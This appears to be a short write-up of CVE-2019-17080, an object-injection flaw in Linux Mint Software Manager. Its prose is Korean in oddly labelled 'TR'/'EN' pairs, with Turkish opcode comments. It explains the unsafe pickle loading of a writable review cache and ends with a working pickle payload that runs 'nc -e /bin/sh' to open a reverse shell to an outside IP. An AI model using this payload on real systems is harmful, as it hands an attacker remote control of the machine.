
CVE-2019-17080
[TR] Linux Mint 소프트웨어 관리자(v 7.9.5/9)는 잘못된 구성으로 인해 객체 인젝션 및 임의 코드 실행을 가능하게 합니다.
[EN] Linux Mint 소프트웨어 관리자(v 7.9.5/9)는 잘못된 구성으로 인해 객체 인젝션과 임의 코드를 실행하게 됩니다.
mintinsall
[TR] Mint 소프트웨어 관리자를 실행하면 새 댓글이 있는지 확인하고, 새 댓글이 있으면 new-reviews.list 주소에서 다운로드하여 파일에 기록합니다.
[EN] 새 댓글이 있으면 new-reviews.list에서 다운로드하여 파일에 씁니다.

code mintinstall.py
[TR] 소프트웨어 관리자가 처음 시작될 때 reviews 모듈에서 ReviewCache() 클래스를 호출합니다.
[EN] 소프트웨어 관리자가 처음 시작되면 reviews 모듈의 ReviewCache() 클래스를 호출합니다.

code reviews.py
[TR] ReviewCache 클래스가 시작될 때(init) _load_cache() 함수를 호출합니다.
[EN] ReviewCache 클래스가 시작되면(init) _load_cache()를 호출합니다.

[TR] Load cache 함수는 REVIEWS_CACHE 변수에 있는 파일을 읽고 pickle 모듈을 사용하여 파일 내부의 데이터를 역직렬화(unserialize)한 다음 일부 값을 메모리에 보관합니다.
[EN] Load cache 함수는 REVIEWS_CACHE 변수의 파일을 읽고 pickle 모듈을 사용하여 파일의 데이터를 역직렬화하고 일부 값을 메모리에 유지합니다.

[TR] 파일을 확인해 보니 쓰기 권한이 있는 것으로 보입니다.
[EN] 파일을 확인해 보면 쓰기가 허용된 것처럼 보입니다.

[TR] Pickle 모듈을 사용하여 직렬화/역직렬화 작업을 수행할 수 있으므로, reduce 메서드를 사용하여 모듈을 포함하고 임의 코드를 실행할 수 있습니다.
[EN] Pickle 모듈을 사용하여 직렬화/역직렬화 작업을 수행할 수 있기 때문에, reduce 메서드를 사용하여 모듈을 포함하고 임의 코드를 실행할 수 있습니다.

[TR] 이 경우 파일의 역직렬화가 시도되면 악성 코드가 실행될 것입니다.
[EN] 파일의 역직렬화를 시도하면 악성 코드가 실행될 것입니다.
cos
system
(S'nc -e /bin/sh 192.168.2.138 4545'
tR.
>>modül adı c{os}
>> fonksiyon
( >> işaretleyici nesnesi
S >> tırnak sonuna kadar okuyup stack'e at
tR. >> stackte olanları çagır ve sonucu stacke yerleştir.

